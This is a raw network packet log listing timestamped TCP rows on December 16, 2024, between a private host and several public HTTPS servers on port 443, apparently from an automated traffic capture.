Dec 16, 2024 18:46:05.675296068 CET	443	49873	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:05.675493956 CET	443	49873	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:05.675575018 CET	49873	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:05.675843954 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.675889969 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.675940037 CET	49871	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:05.675961971 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.676379919 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.676410913 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.676430941 CET	49871	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:05.676439047 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.676479101 CET	49871	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:05.679925919 CET	443	49876	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:05.680016994 CET	443	49876	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:05.680068970 CET	49876	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:05.680888891 CET	443	49874	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.681114912 CET	443	49874	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.681176901 CET	49874	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:05.684160948 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.687401056 CET	49873	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:05.687465906 CET	443	49873	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:05.692631006 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.692682028 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.692723036 CET	49871	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:05.692739964 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.692785978 CET	49871	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:05.697556973 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.697627068 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.697668076 CET	49871	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:05.699569941 CET	49874	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:05.699594975 CET	443	49874	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.699842930 CET	49876	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:05.699865103 CET	443	49876	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:05.700295925 CET	49871	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:05.700299978 CET	443	49871	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.712212086 CET	49882	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:05.712270021 CET	443	49882	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:05.712357044 CET	49882	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:05.712593079 CET	49883	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:05.712604046 CET	443	49883	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:05.712657928 CET	49883	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:05.712858915 CET	49882	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:05.712877035 CET	443	49882	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:05.713188887 CET	49883	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:05.713202000 CET	443	49883	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:05.714310884 CET	49884	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:05.714358091 CET	443	49884	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:05.714420080 CET	49884	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:05.715651989 CET	49884	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:05.715676069 CET	443	49884	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:05.999387980 CET	443	49877	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.999564886 CET	443	49877	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:05.999639034 CET	49877	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:05.999900103 CET	49877	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:05.999932051 CET	443	49877	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:06.055970907 CET	443	49869	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:06.056034088 CET	443	49869	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:06.056070089 CET	49869	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:06.056081057 CET	443	49869	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:06.056678057 CET	49869	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:06.056723118 CET	443	49869	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:06.056772947 CET	49869	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:06.057367086 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:06.057394981 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:06.057446957 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:06.057646990 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:06.057657957 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:06.140290022 CET	49889	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:06.140337944 CET	443	49889	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:06.140405893 CET	49889	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:06.140650988 CET	49889	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:06.140671968 CET	443	49889	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:06.228055954 CET	49890	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:06.228141069 CET	443	49890	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.228220940 CET	49890	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:06.228449106 CET	49890	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:06.228486061 CET	443	49890	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.861219883 CET	443	49881	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.861567974 CET	49881	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:06.861601114 CET	443	49881	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.862701893 CET	443	49881	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.863019943 CET	49881	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:06.863178015 CET	49881	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:06.863188982 CET	443	49881	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.903361082 CET	443	49881	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.911402941 CET	49881	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:06.926925898 CET	443	49883	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.927269936 CET	49883	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:06.927284002 CET	443	49883	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.927620888 CET	443	49883	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.927951097 CET	49883	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:06.928013086 CET	443	49883	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.928138018 CET	49883	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:06.933398008 CET	443	49882	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:06.933621883 CET	49882	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:06.933631897 CET	443	49882	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:06.933866024 CET	443	49884	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:06.934060097 CET	49884	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:06.934122086 CET	443	49884	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:06.934786081 CET	443	49882	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:06.935065031 CET	49882	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:06.935159922 CET	49882	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:06.935167074 CET	443	49882	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:06.935250998 CET	443	49882	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:06.935270071 CET	443	49884	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:06.935544014 CET	49884	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:06.935626984 CET	49884	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:06.935647011 CET	443	49884	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:06.935750008 CET	443	49884	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:06.956578016 CET	443	49878	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:06.956831932 CET	49878	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:06.956912994 CET	443	49878	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:06.957328081 CET	443	49878	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:06.957767963 CET	49878	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:06.957856894 CET	443	49878	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:06.958101034 CET	49878	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:06.975362062 CET	443	49883	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:06.990362883 CET	49884	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:06.990372896 CET	49882	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:06.999366045 CET	443	49878	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:07.358508110 CET	443	49889	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:07.358839035 CET	49889	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:07.358902931 CET	443	49889	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:07.359427929 CET	443	49889	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:07.359743118 CET	49889	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:07.359848976 CET	443	49889	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:07.359906912 CET	49889	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:07.363663912 CET	443	49881	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.363846064 CET	443	49881	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.363919020 CET	49881	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:07.364475965 CET	49881	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:07.364511013 CET	443	49881	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.397589922 CET	443	49883	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.397763014 CET	443	49883	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.397835016 CET	49883	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:07.398221016 CET	49883	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:07.398241997 CET	443	49883	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.403354883 CET	443	49889	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:07.403451920 CET	49889	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:07.423188925 CET	443	49884	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:07.423409939 CET	443	49884	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:07.423485994 CET	49884	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:07.423708916 CET	49884	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:07.423722982 CET	443	49884	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:07.444230080 CET	443	49890	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.444546938 CET	49890	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:07.444585085 CET	443	49890	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.444919109 CET	443	49882	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:07.445064068 CET	443	49882	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:07.445142984 CET	49882	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:07.445605040 CET	49882	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:07.445636988 CET	443	49882	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:07.445692062 CET	443	49890	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.446207047 CET	49890	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:07.446394920 CET	443	49890	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.446403980 CET	49890	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:07.446429968 CET	49890	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:07.446499109 CET	443	49890	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.497454882 CET	49890	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:07.643410921 CET	443	49878	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:07.643594980 CET	443	49878	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:07.643667936 CET	49878	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:07.644085884 CET	49878	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:07.644134998 CET	443	49878	142.250.181.68	192.168.2.17
Dec 16, 2024 18:46:07.644165993 CET	49878	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:07.644201040 CET	49878	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:46:07.781853914 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:07.782213926 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:07.782241106 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:07.783492088 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:07.783588886 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:07.786230087 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:07.786320925 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:07.786504030 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:07.786694050 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:07.786710024 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:07.827337027 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:07.831548929 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:07.831610918 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:07.846498966 CET	443	49889	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:07.846672058 CET	443	49889	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:07.846745968 CET	49889	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:07.847301006 CET	49889	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:46:07.847336054 CET	443	49889	104.16.118.116	192.168.2.17
Dec 16, 2024 18:46:07.850184917 CET	49897	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:07.850222111 CET	443	49897	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:07.850312948 CET	49897	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:07.850589991 CET	49897	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:07.850605011 CET	443	49897	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:07.878509998 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:07.965467930 CET	443	49890	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.965919971 CET	443	49890	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.966005087 CET	49890	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:07.966593027 CET	49890	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:07.966633081 CET	443	49890	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:07.969446898 CET	49898	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:07.969475031 CET	443	49898	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:07.969573975 CET	49898	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:07.969783068 CET	49898	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:07.969796896 CET	443	49898	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:07.981559992 CET	49899	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:07.981626987 CET	443	49899	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:07.981722116 CET	49899	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:07.982150078 CET	49900	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:07.982235909 CET	443	49900	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:07.982352018 CET	49900	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:07.982470989 CET	49899	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:07.982501984 CET	443	49899	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:07.983161926 CET	49901	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:07.983221054 CET	49900	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:07.983253956 CET	443	49901	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:07.983258963 CET	443	49900	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:07.983398914 CET	49901	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:07.983550072 CET	49902	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:46:07.983572960 CET	443	49902	151.101.66.137	192.168.2.17
Dec 16, 2024 18:46:07.983649015 CET	49902	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:46:07.983989000 CET	49901	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:07.984019995 CET	443	49901	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:07.984262943 CET	49902	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:46:07.984287024 CET	443	49902	151.101.66.137	192.168.2.17
Dec 16, 2024 18:46:08.583868980 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:08.583972931 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:08.584069014 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:08.584134102 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:08.584794998 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:08.584894896 CET	443	49888	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:08.584975004 CET	49888	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:08.585458040 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:08.585483074 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:08.585556984 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:08.585778952 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:08.585793972 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:09.078304052 CET	443	49897	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:09.078592062 CET	49897	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:09.078617096 CET	443	49897	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:09.079734087 CET	443	49897	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:09.080110073 CET	49897	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:09.080276012 CET	49897	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:09.080282927 CET	443	49897	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:09.080298901 CET	443	49897	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:09.130388975 CET	49897	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:09.205106974 CET	443	49898	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:09.205449104 CET	49898	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:09.205457926 CET	443	49898	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:09.206063032 CET	443	49898	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:09.206445932 CET	49898	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:09.206583977 CET	443	49898	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:09.206609964 CET	49898	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:09.210515022 CET	443	49901	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.210588932 CET	443	49900	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:09.210746050 CET	49901	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.210809946 CET	443	49901	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.210844040 CET	49900	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:09.210869074 CET	443	49900	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:09.211209059 CET	443	49900	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:09.211510897 CET	49900	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:09.211582899 CET	443	49900	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:09.211649895 CET	49900	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:09.212347984 CET	443	49901	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.212440968 CET	49901	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.212861061 CET	49901	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.212896109 CET	49901	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.212954044 CET	49901	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.212956905 CET	443	49901	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.213021040 CET	49901	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.213421106 CET	49908	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.213475943 CET	443	49908	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.213561058 CET	49908	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.213859081 CET	49908	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.213886976 CET	443	49908	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.214603901 CET	443	49899	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.214682102 CET	443	49902	151.101.66.137	192.168.2.17
Dec 16, 2024 18:46:09.214833021 CET	49899	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.214854002 CET	443	49899	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.214942932 CET	49902	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:46:09.214958906 CET	443	49902	151.101.66.137	192.168.2.17
Dec 16, 2024 18:46:09.216104984 CET	443	49902	151.101.66.137	192.168.2.17
Dec 16, 2024 18:46:09.216602087 CET	49902	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:46:09.216692924 CET	443	49902	151.101.66.137	192.168.2.17
Dec 16, 2024 18:46:09.217859983 CET	443	49899	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.217972994 CET	49899	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.218235016 CET	49899	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.218235970 CET	49899	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.218281984 CET	49899	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.218483925 CET	443	49899	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.218533039 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.218543053 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.218559027 CET	49899	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.218627930 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.218781948 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:09.218790054 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:09.247358084 CET	443	49898	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:09.255356073 CET	443	49900	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:09.257407904 CET	49898	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:09.257411003 CET	49902	443	192.168.2.17	151.101.66.137
Dec 16, 2024 18:46:10.186703920 CET	443	49900	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:10.186769962 CET	443	49900	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:10.186830044 CET	49900	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:10.187026978 CET	443	49898	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:10.187293053 CET	443	49898	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:10.187370062 CET	49898	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:10.188344002 CET	49900	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:10.188391924 CET	443	49900	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:10.188885927 CET	443	49897	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:10.188904047 CET	49898	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:46:10.188920021 CET	443	49898	104.18.80.204	192.168.2.17
Dec 16, 2024 18:46:10.189059019 CET	443	49897	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:10.189115047 CET	49897	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:10.189857006 CET	49897	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:46:10.189877033 CET	443	49897	104.16.117.116	192.168.2.17
Dec 16, 2024 18:46:10.194665909 CET	49911	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:10.194695950 CET	443	49911	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:10.194776058 CET	49911	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:10.195087910 CET	49911	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:46:10.195099115 CET	443	49911	104.19.175.188	192.168.2.17
Dec 16, 2024 18:46:10.324368954 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:10.326122046 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:10.326159000 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:10.326858997 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:10.326921940 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:10.327920914 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:10.327974081 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:10.328345060 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:10.328432083 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:10.328463078 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:10.375334978 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:10.377367973 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:10.377387047 CET	443	49905	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:10.424448013 CET	49905	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:10.742208004 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:10.742299080 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:10.742403030 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:10.742594957 CET	49912	443	192.168.2.17	172.217.19.206
Dec 16, 2024 18:46:10.742630959 CET	443	49912	172.217.19.206	192.168.2.17
Dec 16, 2024 18:46:10.842195034 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:10.842480898 CET	49909	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:10.842487097 CET	443	49909	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:10.842725992 CET	443	49908	104.21.60.204	192.168.2.17
Dec 16, 2024 18:46:10.842933893 CET	49908	443	192.168.2.17	104.21.60.204
Dec 16, 2024 18:46:10.842962027 CET	443	49908	104.21.60.204	192.168.2.17
